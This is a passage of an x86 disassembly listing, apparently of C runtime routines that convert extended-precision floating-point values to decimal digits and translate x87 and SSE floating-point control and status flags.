loc_4131F9:				; CODE XREF: sub_412E61+393j
		mov	edx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	edi, 1
		or	edi, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	[ebp+var_44]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], edx
		jnz	short loc_4131F0
		cmp	[ebp+var_48], 0
		jz	short loc_41322C
		or	word ptr [ebp+var_10], 1

loc_41322C:				; CODE XREF: sub_412E61+377j
					; sub_412E61+381j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_413245
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_413278

loc_413245:				; CODE XREF: sub_412E61+3D1j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_413275
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_413270
		and	[ebp+var_C+2], 0
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		jnz	short loc_41326A
		mov	word ptr [ebp+var_8+2],	8000h
		inc	eax
		jmp	short loc_413278
; ---------------------------------------------------------------------------

loc_41326A:				; CODE XREF: sub_412E61+3FEj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_413278
; ---------------------------------------------------------------------------

loc_413270:				; CODE XREF: sub_412E61+3F2j
		inc	[ebp+var_C+2]
		jmp	short loc_413278
; ---------------------------------------------------------------------------

loc_413275:				; CODE XREF: sub_412E61+3E8j
		inc	[ebp+var_10+2]

loc_413278:				; CODE XREF: sub_412E61+3E2j
					; sub_412E61+407j ...
		cmp	ax, 7FFFh
		jnb	short loc_41329A
		mov	dx, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], dx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20+2],	edx
		mov	edx, [ebp+var_8]
		or	eax, ecx
		mov	[ebp+var_1A], edx
		mov	word ptr [ebp+var_16], ax
		jmp	short loc_4132B6
; ---------------------------------------------------------------------------

loc_41329A:				; CODE XREF: sub_412E61+230j
					; sub_412E61+239j ...
		neg	cx
		sbb	ecx, ecx
		and	dword ptr [ebp-1Ch], 0
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		and	[ebp+var_20], 0
		mov	[ebp+var_1A+2],	ecx

loc_4132B6:				; CODE XREF: sub_412E61+1D6j
					; sub_412E61+25Aj ...
		test	ebx, ebx
		jnz	loc_413029
		xor	eax, eax

loc_4132C0:				; CODE XREF: sub_412E61+1ABj
					; sub_412E61+1C2j
		mov	ecx, [ebp+var_1A+2]
		shr	ecx, 10h
		cmp	cx, 3FFFh
		mov	ebx, 7FFFh
		jb	loc_413520
		mov	esi, [ebp+var_28+2]
		inc	[ebp+var_4C]
		movzx	edx, cx
		mov	ecx, esi
		xor	ecx, edx
		and	edx, ebx
		and	esi, ebx
		and	ecx, 8000h
		cmp	dx, bx
		lea	edi, [esi+edx]
		mov	[ebp+var_58], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		movzx	edi, di
		jnb	loc_413506
		cmp	si, bx
		jnb	loc_413506
		cmp	di, 0BFFDh
		ja	loc_413506
		cmp	di, 3FBFh
		ja	short loc_41332B

loc_413323:				; CODE XREF: sub_412E61+503j
		mov	[ebp+var_1A+2],	eax
		jmp	loc_41351A
; ---------------------------------------------------------------------------

loc_41332B:				; CODE XREF: sub_412E61+4C0j
		cmp	dx, ax
		jnz	short loc_41334D
		inc	edi
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41334D
		cmp	[ebp-1Ch], eax
		jnz	short loc_41334D
		cmp	[ebp+var_20], eax
		jnz	short loc_41334D
		mov	word ptr [ebp+var_16], ax
		jmp	loc_413520
; ---------------------------------------------------------------------------

loc_41334D:				; CODE XREF: sub_412E61+4CDj
					; sub_412E61+4D7j ...
		cmp	si, ax
		jnz	short loc_413366
		inc	edi
		test	[ebp+var_28], 7FFFFFFFh
		jnz	short loc_413366
		cmp	[ebp+var_2C], eax
		jnz	short loc_413366
		cmp	[ebp+var_30], eax
		jz	short loc_413323

loc_413366:				; CODE XREF: sub_412E61+4EFj
					; sub_412E61+4F9j ...
		and	[ebp+var_54], 0
		lea	eax, [ebp+var_C]
		mov	[ebp+var_40], 5

loc_413374:				; CODE XREF: sub_412E61+580j
		mov	edx, [ebp+var_54]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_4133D5
		lea	esi, [ebp+var_28]
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_48], edx

loc_413390:				; CODE XREF: sub_412E61+572j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_48]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		and	[ebp+var_44], 0
		imul	edx, esi
		mov	esi, [eax-4]
		lea	ebx, [esi+edx]
		cmp	ebx, esi
		jb	short loc_4133B1
		cmp	ebx, edx
		jnb	short loc_4133B8

loc_4133B1:				; CODE XREF: sub_412E61+54Aj
		mov	[ebp+var_44], 1

loc_4133B8:				; CODE XREF: sub_412E61+54Ej
		cmp	[ebp+var_44], 0
		mov	[eax-4], ebx
		jz	short loc_4133C4
		inc	word ptr [eax]

loc_4133C4:				; CODE XREF: sub_412E61+55Ej
		add	[ebp+var_48], 2
		sub	[ebp+var_5C], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_413390

loc_4133D5:				; CODE XREF: sub_412E61+520j
		inc	eax
		inc	eax
		inc	[ebp+var_54]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		jg	short loc_413374
		add	edi, 0C002h
		xor	eax, eax
		cmp	di, ax
		jle	short loc_41342C

loc_4133F0:				; CODE XREF: sub_412E61+5C4j
		test	[ebp+var_8], 80000000h
		jnz	short loc_413427
		mov	edx, [ebp+var_10]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	ebx, ebx
		or	ebx, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	edi, 0FFFFh
		cmp	di, ax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], edx
		jg	short loc_4133F0

loc_413427:				; CODE XREF: sub_412E61+596j
		cmp	di, ax
		jg	short loc_41347B

loc_41342C:				; CODE XREF: sub_412E61+58Dj
		add	edi, 0FFFFh
		cmp	di, ax
		jge	short loc_41347B
		mov	eax, edi
		neg	eax
		movzx	eax, ax
		add	edi, eax

loc_413440:				; CODE XREF: sub_412E61+60Cj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_413449
		inc	[ebp+var_58]

loc_413449:				; CODE XREF: sub_412E61+5E3j
		mov	edx, [ebp+var_8]
		mov	ebx, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	ebx, 1
		or	ebx, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], edx
		jnz	short loc_413440
		xor	eax, eax
		cmp	[ebp+var_58], eax
		jz	short loc_41347B
		or	word ptr [ebp+var_10], 1

loc_41347B:				; CODE XREF: sub_412E61+5C9j
					; sub_412E61+5D4j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_413494
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_4134C5

loc_413494:				; CODE XREF: sub_412E61+620j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_4134C2
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		mov	[ebp+var_10+2],	eax
		jnz	short loc_4134BD
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		mov	[ebp+var_C+2], eax
		jnz	short loc_4134B7
		mov	word ptr [ebp+var_8+2],	8000h
		inc	edi
		jmp	short loc_4134C5
; ---------------------------------------------------------------------------

loc_4134B7:				; CODE XREF: sub_412E61+64Bj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_4134C5
; ---------------------------------------------------------------------------

loc_4134BD:				; CODE XREF: sub_412E61+640j
		inc	[ebp+var_C+2]
		jmp	short loc_4134C5
; ---------------------------------------------------------------------------

loc_4134C2:				; CODE XREF: sub_412E61+637j
		inc	[ebp+var_10+2]

loc_4134C5:				; CODE XREF: sub_412E61+631j
					; sub_412E61+654j ...
		cmp	di, 7FFFh
		jb	short loc_4134EA
		neg	cx
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_4134E6:				; CODE XREF: sub_412E61+6A3j
		xor	eax, eax
		jmp	short loc_413520
; ---------------------------------------------------------------------------

loc_4134EA:				; CODE XREF: sub_412E61+669j
		mov	ax, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20+2],	eax
		mov	eax, [ebp+var_8]
		or	edi, ecx
		mov	[ebp+var_1A], eax
		mov	word ptr [ebp+var_16], di
		jmp	short loc_4134E6
; ---------------------------------------------------------------------------

loc_413506:				; CODE XREF: sub_412E61+4A1j
					; sub_412E61+4AAj ...
		neg	cx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx

loc_41351A:				; CODE XREF: sub_412E61+4C5j
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax

loc_413520:				; CODE XREF: sub_412E61+46Fj
					; sub_412E61+4E7j ...
		test	[ebp+arg_10], 1
		mov	edx, [ebp+var_60]
		mov	ecx, [ebp+var_4C]
		mov	[edx], cx
		jz	short loc_413561
		movsx	ecx, cx
		add	[ebp+arg_C], ecx
		cmp	[ebp+arg_C], eax
		jg	short loc_413561
		and	word ptr [edx],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [edx+3], 1
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[edx+2], al
		mov	byte ptr [edx+4], 30h
		mov	byte ptr [edx+5], 0
		jmp	loc_412F10
; ---------------------------------------------------------------------------

loc_413561:				; CODE XREF: sub_412E61+6CCj
					; sub_412E61+6D7j
		push	15h
		pop	ecx
		cmp	[ebp+arg_C], ecx
		jle	short loc_41356C
		mov	[ebp+arg_C], ecx

loc_41356C:				; CODE XREF: sub_412E61+706j
		mov	esi, [ebp+var_1A+2]
		shr	esi, 10h
		push	8
		sub	esi, 3FFEh
		mov	word ptr [ebp+var_16], ax
		pop	ebx

loc_41357F:				; CODE XREF: sub_412E61+742j
		mov	eax, [ebp+var_20]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shl	[ebp+var_20], 1
		shr	eax, 1Fh
		add	edi, edi
		or	edi, eax
		mov	eax, [ebp+var_1A+2]
		shr	ecx, 1Fh
		add	eax, eax
		or	eax, ecx
		dec	ebx
		mov	[ebp-1Ch], edi
		mov	[ebp+var_1A+2],	eax
		jnz	short loc_41357F
		test	esi, esi
		jge	short loc_4135DB
		neg	esi
		and	esi, 0FFh
		jle	short loc_4135DB

loc_4135B3:				; CODE XREF: sub_412E61+778j
		mov	eax, [ebp+var_1A+2]
		mov	edi, [ebp-1Ch]
		mov	ecx, [ebp-1Ch]
		shr	[ebp+var_1A+2],	1
		shl	eax, 1Fh
		shr	edi, 1
		or	edi, eax
		mov	eax, [ebp+var_20]
		shl	ecx, 1Fh
		shr	eax, 1
		or	eax, ecx
		dec	esi
		test	esi, esi
		mov	[ebp-1Ch], edi
		mov	[ebp+var_20], eax
		jg	short loc_4135B3

loc_4135DB:				; CODE XREF: sub_412E61+746j
					; sub_412E61+750j
		mov	eax, [ebp+arg_C]
		inc	eax
		test	eax, eax
		lea	ebx, [edx+4]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_4C], eax
		jle	loc_4136A5

loc_4135F0:				; CODE XREF: sub_412E61+83Ej
		mov	edx, [ebp+var_20]
		mov	eax, [ebp-1Ch]
		lea	esi, [ebp+var_20]
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		movsd
		shl	[ebp+var_20], 1
		mov	edi, [ebp+var_20]
		shl	[ebp+var_20], 1
		shr	edx, 1Fh
		lea	ecx, [eax+eax]
		or	ecx, edx
		mov	edx, [ebp+var_1A+2]
		mov	esi, eax
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		mov	eax, ecx
		lea	esi, [ecx+ecx]
		shr	eax, 1Fh
		lea	ecx, [edx+edx]
		mov	edx, [ebp+var_3C]
		shr	edi, 1Fh
		or	ecx, eax
		mov	eax, [ebp+var_20]
		or	esi, edi
		lea	edi, [edx+eax]
		cmp	edi, eax
		jb	short loc_41363F
		cmp	edi, edx
		jnb	short loc_413657

loc_41363F:				; CODE XREF: sub_412E61+7D8j
		lea	eax, [esi+1]
		xor	edx, edx
		cmp	eax, esi
		jb	short loc_41364D
		cmp	eax, 1
		jnb	short loc_413650

loc_41364D:				; CODE XREF: sub_412E61+7E5j
		xor	edx, edx
		inc	edx

loc_413650:				; CODE XREF: sub_412E61+7EAj
		test	edx, edx
		mov	esi, eax
		jz	short loc_413657
		inc	ecx

loc_413657:				; CODE XREF: sub_412E61+7DCj
					; sub_412E61+7F3j
		mov	eax, [ebp+var_38]
		lea	edx, [eax+esi]
		cmp	edx, esi
		mov	[ebp+var_44], edx
		jb	short loc_413668
		cmp	edx, eax
		jnb	short loc_413669

loc_413668:				; CODE XREF: sub_412E61+801j
		inc	ecx

loc_413669:				; CODE XREF: sub_412E61+805j
		add	ecx, [ebp+var_34]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		lea	esi, [edi+edi]
		mov	[ebp+var_20], esi
		mov	esi, [ebp+var_44]
		mov	[ebp+var_1A+2],	ecx
		shr	ecx, 18h
		add	esi, esi
		add	cl, 30h
		mov	eax, edi
		shr	eax, 1Fh
		or	esi, eax
		mov	[ebx], cl
		inc	ebx
		dec	[ebp+var_4C]
		cmp	[ebp+var_4C], 0
		mov	[ebp-1Ch], esi
		mov	byte ptr [ebp+var_16+1], 0
		jg	loc_4135F0

loc_4136A5:				; CODE XREF: sub_412E61+789j
		dec	ebx
		mov	al, [ebx]
		dec	ebx
		cmp	al, 35h
		jge	short loc_4136BB
		mov	ecx, [ebp+var_40]
		jmp	short loc_4136F6
; ---------------------------------------------------------------------------

loc_4136B2:				; CODE XREF: sub_412E61+85Dj
		cmp	byte ptr [ebx],	39h
		jnz	short loc_4136C0
		mov	byte ptr [ebx],	30h
		dec	ebx

loc_4136BB:				; CODE XREF: sub_412E61+84Aj
		cmp	ebx, [ebp+var_40]
		jnb	short loc_4136B2

loc_4136C0:				; CODE XREF: sub_412E61+854j
		cmp	ebx, [ebp+var_40]
		mov	eax, [ebp+var_60]
		jnb	short loc_4136CC
		inc	ebx
		inc	word ptr [eax]

loc_4136CC:				; CODE XREF: sub_412E61+865j
		inc	byte ptr [ebx]

loc_4136CE:				; CODE XREF: sub_412E61+89Ej
		sub	bl, al
		sub	bl, 3
		movsx	ecx, bl
		mov	[eax+3], bl
		mov	byte ptr [ecx+eax+4], 0
		mov	eax, [ebp+var_74]

loc_4136E1:				; CODE XREF: sub_412E61+B2j
					; sub_412E61+15Bj
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		leave
		retn
; ---------------------------------------------------------------------------

loc_4136F0:				; CODE XREF: sub_412E61+897j
		cmp	byte ptr [ebx],	30h
		jnz	short loc_4136FA
		dec	ebx

loc_4136F6:				; CODE XREF: sub_412E61+84Fj
		cmp	ebx, ecx
		jnb	short loc_4136F0

loc_4136FA:				; CODE XREF: sub_412E61+892j
		cmp	ebx, ecx
		mov	eax, [ebp+var_60]
		jnb	short loc_4136CE
		and	word ptr [eax],	0
		cmp	word ptr [ebp+var_6C], 8000h
		mov	byte ptr [eax+3], 1
		setnz	dl
		dec	dl
		and	dl, 0Dh
		add	dl, 20h
		mov	[eax+2], dl
		mov	byte ptr [ecx],	30h
		mov	byte ptr [eax+5], 0
		jmp	loc_412F10
sub_412E61	endp


; =============== S U B	R O U T	I N E =======================================



sub_413729	proc near		; CODE XREF: sub_413857+C0p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_413731
		inc	eax

loc_413731:				; CODE XREF: sub_413729+5j
		test	bl, 8
		jz	short loc_413739
		or	eax, 4

loc_413739:				; CODE XREF: sub_413729+Bj
		test	bl, 4
		jz	short loc_413741
		or	eax, 8

loc_413741:				; CODE XREF: sub_413729+13j
		test	bl, 2
		jz	short loc_413749
		or	eax, 10h

loc_413749:				; CODE XREF: sub_413729+1Bj
		test	bl, 1
		jz	short loc_413751
		or	eax, 20h

loc_413751:				; CODE XREF: sub_413729+23j
		test	ebx, 80000h
		jz	short loc_41375C
		or	eax, 2

loc_41375C:				; CODE XREF: sub_413729+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_413790
		cmp	ecx, 100h
		jz	short loc_41378B
		cmp	ecx, esi
		jz	short loc_413784
		cmp	ecx, edx
		jnz	short loc_413790
		or	eax, 0C00h
		jmp	short loc_413790
; ---------------------------------------------------------------------------

loc_413784:				; CODE XREF: sub_413729+4Ej
		or	eax, 800h
		jmp	short loc_413790
; ---------------------------------------------------------------------------

loc_41378B:				; CODE XREF: sub_413729+4Aj
		or	eax, 400h

loc_413790:				; CODE XREF: sub_413729+42j
					; sub_413729+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4137A6
		cmp	ecx, 10000h
		jnz	short loc_4137A8
		or	eax, esi
		jmp	short loc_4137A8
; ---------------------------------------------------------------------------

loc_4137A6:				; CODE XREF: sub_413729+6Fj
		or	eax, edx

loc_4137A8:				; CODE XREF: sub_413729+77j
					; sub_413729+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_4137B6
		or	eax, 1000h

locret_4137B6:				; CODE XREF: sub_413729+86j
		retn
sub_413729	endp


; =============== S U B	R O U T	I N E =======================================



sub_4137B7	proc near		; CODE XREF: sub_413857:loc_413A90p
		xor	eax, eax
		test	dl, 10h
		jz	short loc_4137C3
		mov	eax, 80h

loc_4137C3:				; CODE XREF: sub_4137B7+5j
		test	dl, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, 200h
		jz	short loc_4137D2
		or	eax, ebx

loc_4137D2:				; CODE XREF: sub_4137B7+17j
		test	dl, 4
		jz	short loc_4137DC
		or	eax, 400h

loc_4137DC:				; CODE XREF: sub_4137B7+1Ej
		test	dl, 2
		jz	short loc_4137E6
		or	eax, 800h

loc_4137E6:				; CODE XREF: sub_4137B7+28j
		test	dl, 1
		jz	short loc_4137F0
		or	eax, 1000h

loc_4137F0:				; CODE XREF: sub_4137B7+32j
		test	edx, 80000h
		mov	edi, 100h
		jz	short loc_4137FF
		or	eax, edi

loc_4137FF:				; CODE XREF: sub_4137B7+44j
		mov	ecx, edx
		mov	esi, 300h
		and	ecx, esi
		jz	short loc_413829
		cmp	ecx, edi
		jz	short loc_413824
		cmp	ecx, ebx
		jz	short loc_41381D
		cmp	ecx, esi
		jnz	short loc_413829
		or	eax, 6000h
		jmp	short loc_413829
; ---------------------------------------------------------------------------

loc_41381D:				; CODE XREF: sub_4137B7+59j
		or	eax, 4000h
		jmp	short loc_413829
; ---------------------------------------------------------------------------

loc_413824:				; CODE XREF: sub_4137B7+55j
		or	eax, 2000h

loc_413829:				; CODE XREF: sub_4137B7+51j
					; sub_4137B7+5Dj ...
		mov	ecx, 3000000h
		pop	edi
		and	edx, ecx
		cmp	edx, 1000000h
		pop	esi
		pop	ebx
		jz	short loc_413851
		cmp	edx, 2000000h
		jz	short loc_41384D
		cmp	edx, ecx
		jnz	short locret_413856
		or	eax, 8000h
		retn
; ---------------------------------------------------------------------------

loc_41384D:				; CODE XREF: sub_4137B7+8Aj
		or	eax, 40h
		retn
; ---------------------------------------------------------------------------

loc_413851:				; CODE XREF: sub_4137B7+82j
		or	eax, 8040h

locret_413856:				; CODE XREF: sub_4137B7+8Ej
		retn
sub_4137B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_413857	proc near		; CODE XREF: sub_411CAF+25p
					; sub_411CAF+55p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	ebp
		push	esi
		push	edi
		fstcw	word ptr [esp+20h+var_C]
		mov	ebx, [esp+20h+var_C]
		xor	edx, edx
		test	bl, 1
		jz	short loc_413871
		push	10h
		pop	edx

loc_413871:				; CODE XREF: sub_413857+15j
		test	bl, 4
		jz	short loc_413879
		or	edx, 8

loc_413879:				; CODE XREF: sub_413857+1Dj
		test	bl, 8
		jz	short loc_413881
		or	edx, 4

loc_413881:				; CODE XREF: sub_413857+25j
		test	bl, 10h
		jz	short loc_413889
		or	edx, 2

loc_413889:				; CODE XREF: sub_413857+2Dj
		test	bl, 20h
		jz	short loc_413891
		or	edx, 1

loc_413891:				; CODE XREF: sub_413857+35j
		test	bl, 2
		jz	short loc_41389C
		or	edx, 80000h

loc_41389C:				; CODE XREF: sub_413857+3Dj
		movzx	ecx, bx
		mov	eax, ecx
		mov	edi, 0C00h
		and	eax, edi
		mov	ebp, 300h
		mov	esi, 200h
		jz	short loc_4138D4
		cmp	eax, 400h
		jz	short loc_4138CE
		cmp	eax, 800h
		jz	short loc_4138CA
		cmp	eax, edi
		jnz	short loc_4138D4
		or	edx, ebp
		jmp	short loc_4138D4
; ---------------------------------------------------------------------------

loc_4138CA:				; CODE XREF: sub_413857+69j
		or	edx, esi
		jmp	short loc_4138D4
; ---------------------------------------------------------------------------

loc_4138CE:				; CODE XREF: sub_413857+62j
		or	edx, 100h

loc_4138D4:				; CODE XREF: sub_413857+5Bj
					; sub_413857+6Dj ...
		and	ecx, ebp
		jz	short loc_4138E4
		cmp	ecx, esi
		jnz	short loc_4138EA
		or	edx, 10000h
		jmp	short loc_4138EA
; ---------------------------------------------------------------------------

loc_4138E4:				; CODE XREF: sub_413857+7Fj
		or	edx, 20000h

loc_4138EA:				; CODE XREF: sub_413857+83j
					; sub_413857+8Bj
		test	bx, 1000h
		jz	short loc_4138F7
		or	edx, 40000h

loc_4138F7:				; CODE XREF: sub_413857+98j
		mov	esi, [esp+20h+arg_4]
		mov	ecx, [esp+20h+arg_0]
		mov	eax, esi
		not	eax
		and	eax, edx
		and	ecx, esi
		or	eax, ecx
		cmp	eax, edx
		mov	[esp+20h+var_4], eax
		jz	loc_4139BF
		mov	ebx, eax
		call	sub_413729
		movzx	eax, ax
		mov	[esp+20h+var_10], eax
		fldcw	word ptr [esp+20h+var_10]
		fstcw	word ptr [esp+20h+var_10]
		mov	ebx, [esp+20h+var_10]
		xor	edx, edx
		test	bl, 1
		jz	short loc_41393A
		push	10h
		pop	edx

loc_41393A:				; CODE XREF: sub_413857+DEj
		test	bl, 4
		jz	short loc_413942
		or	edx, 8

loc_413942:				; CODE XREF: sub_413857+E6j
		test	bl, 8
		jz	short loc_41394A
		or	edx, 4

loc_41394A:				; CODE XREF: sub_413857+EEj
		test	bl, 10h
		jz	short loc_413952
		or	edx, 2

loc_413952:				; CODE XREF: sub_413857+F6j
		test	bl, 20h
		jz	short loc_41395A
		or	edx, 1

loc_41395A:				; CODE XREF: sub_413857+FEj
		test	bl, 2
		jz	short loc_413965
		or	edx, 80000h

loc_413965:				; CODE XREF: sub_413857+106j
		movzx	ecx, bx
		mov	eax, ecx
		and	eax, edi
		jz	short loc_413992
		cmp	eax, 400h
		jz	short loc_41398C
		cmp	eax, 800h
		jz	short loc_413984
		cmp	eax, edi
		jnz	short loc_413992
		or	edx, ebp
		jmp	short loc_413992
; ---------------------------------------------------------------------------

loc_413984:				; CODE XREF: sub_413857+123j
		or	edx, 200h
		jmp	short loc_413992
; ---------------------------------------------------------------------------

loc_41398C:				; CODE XREF: sub_413857+11Cj
		or	edx, 100h

loc_413992:				; CODE XREF: sub_413857+115j
					; sub_413857+127j ...
		and	ecx, ebp
		jz	short loc_4139A6
		cmp	ecx, 200h
		jnz	short loc_4139AC
		or	edx, 10000h
		jmp	short loc_4139AC
; ---------------------------------------------------------------------------

loc_4139A6:				; CODE XREF: sub_413857+13Dj
		or	edx, 20000h

loc_4139AC:				; CODE XREF: sub_413857+145j
					; sub_413857+14Dj
		test	bx, 1000h
		jz	short loc_4139B9
		or	edx, 40000h

loc_4139B9:				; CODE XREF: sub_413857+15Aj
		mov	eax, edx
		mov	[esp+20h+var_4], edx

loc_4139BF:				; CODE XREF: sub_413857+B8j
		cmp	dword_4356E0, 0
		jz	loc_413B52
		and	esi, 308031Fh
		mov	edi, esi
		stmxcsr	[esp+20h+var_8]
		mov	eax, [esp+20h+var_8]
		xor	esi, esi
		test	al, al
		jns	short loc_4139E6
		push	10h
		pop	esi

loc_4139E6:				; CODE XREF: sub_413857+18Aj
		test	ax, 200h
		jz	short loc_4139EF
		or	esi, 8

loc_4139EF:				; CODE XREF: sub_413857+193j
		test	ax, 400h
		jz	short loc_4139F8
		or	esi, 4

loc_4139F8:				; CODE XREF: sub_413857+19Cj
		test	ax, 800h
		jz	short loc_413A01
		or	esi, 2

loc_413A01:				; CODE XREF: sub_413857+1A5j
		test	ax, 1000h
		jz	short loc_413A0A
		or	esi, 1

loc_413A0A:				; CODE XREF: sub_413857+1AEj
		test	ax, 100h
		jz	short loc_413A16
		or	esi, 80000h

loc_413A16:				; CODE XREF: sub_413857+1B7j
		mov	ecx, eax
		mov	ebp, 6000h
		and	ecx, ebp
		jz	short loc_413A4B
		cmp	ecx, 2000h
		jz	short loc_413A45
		cmp	ecx, 4000h
		jz	short loc_413A3D
		cmp	ecx, ebp
		jnz	short loc_413A4B
		or	esi, 300h
		jmp	short loc_413A4B
; ---------------------------------------------------------------------------

loc_413A3D:				; CODE XREF: sub_413857+1D8j
		or	esi, 200h
		jmp	short loc_413A4B
; ---------------------------------------------------------------------------

loc_413A45:				; CODE XREF: sub_413857+1D0j
		or	esi, 100h

loc_413A4B:				; CODE XREF: sub_413857+1C8j
					; sub_413857+1DCj ...
		mov	ebx, 8040h
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_413A73
		sub	eax, 7FC0h
		jz	short loc_413A6B
		sub	eax, 40h
		jnz	short loc_413A79
		or	esi, 1000000h
		jmp	short loc_413A79
; ---------------------------------------------------------------------------

loc_413A6B:				; CODE XREF: sub_413857+205j
		or	esi, 3000000h
		jmp	short loc_413A79
; ---------------------------------------------------------------------------

loc_413A73:				; CODE XREF: sub_413857+1FEj
		or	esi, 2000000h

loc_413A79:				; CODE XREF: sub_413857+20Aj
					; sub_413857+212j ...
		mov	edx, edi
		and	edi, [esp+20h+arg_0]
		not	edx
		and	edx, esi
		or	edx, edi
		cmp	edx, esi
		jnz	short loc_413A90
		mov	eax, esi
		jmp	loc_413B3B
; ---------------------------------------------------------------------------

loc_413A90:				; CODE XREF: sub_413857+230j
		call	sub_4137B7
		push	eax
		mov	[esp+24h+arg_4], eax
		call	sub_41048B
		pop	ecx
		stmxcsr	[esp+20h+arg_4]
		mov	eax, [esp+20h+arg_4]
		xor	edx, edx
		test	al, al
		jns	short loc_413AB2
		push	10h
		pop	edx

loc_413AB2:				; CODE XREF: sub_413857+256j
		mov	edi, 200h
		test	eax, edi
		jz	short loc_413ABE
		or	edx, 8

loc_413ABE:				; CODE XREF: sub_413857+262j
		test	ax, 400h
		jz	short loc_413AC7
		or	edx, 4

loc_413AC7:				; CODE XREF: sub_413857+26Bj
		test	ax, 800h
		jz	short loc_413AD0
		or	edx, 2

loc_413AD0:				; CODE XREF: sub_413857+274j
		test	ax, 1000h
		jz	short loc_413AD9
		or	edx, 1

loc_413AD9:				; CODE XREF: sub_413857+27Dj
		mov	esi, 100h
		test	eax, esi
		jz	short loc_413AE8
		or	edx, 80000h

loc_413AE8:				; CODE XREF: sub_413857+289j
		mov	ecx, eax
		and	ecx, ebp
		jz	short loc_413B10
		cmp	ecx, 2000h
		jz	short loc_413B0E
		cmp	ecx, 4000h
		jz	short loc_413B0A
		cmp	ecx, ebp
		jnz	short loc_413B10
		or	edx, 300h
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413B0A:				; CODE XREF: sub_413857+2A5j
		or	edx, edi
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413B0E:				; CODE XREF: sub_413857+29Dj
		or	edx, esi

loc_413B10:				; CODE XREF: sub_413857+295j
					; sub_413857+2A9j ...
		and	eax, ebx
		sub	eax, 40h
		jz	short loc_413B33
		sub	eax, 7FC0h
		jz	short loc_413B2B
		sub	eax, 40h
		jnz	short loc_413B39
		or	edx, 1000000h
		jmp	short loc_413B39
; ---------------------------------------------------------------------------

loc_413B2B:				; CODE XREF: sub_413857+2C5j
		or	edx, 3000000h
		jmp	short loc_413B39
; ---------------------------------------------------------------------------

loc_413B33:				; CODE XREF: sub_413857+2BEj
		or	edx, 2000000h

loc_413B39:				; CODE XREF: sub_413857+2CAj
					; sub_413857+2D2j ...
		mov	eax, edx

loc_413B3B:				; CODE XREF: sub_413857+234j
		mov	ecx, [esp+20h+var_4]
		mov	edx, eax
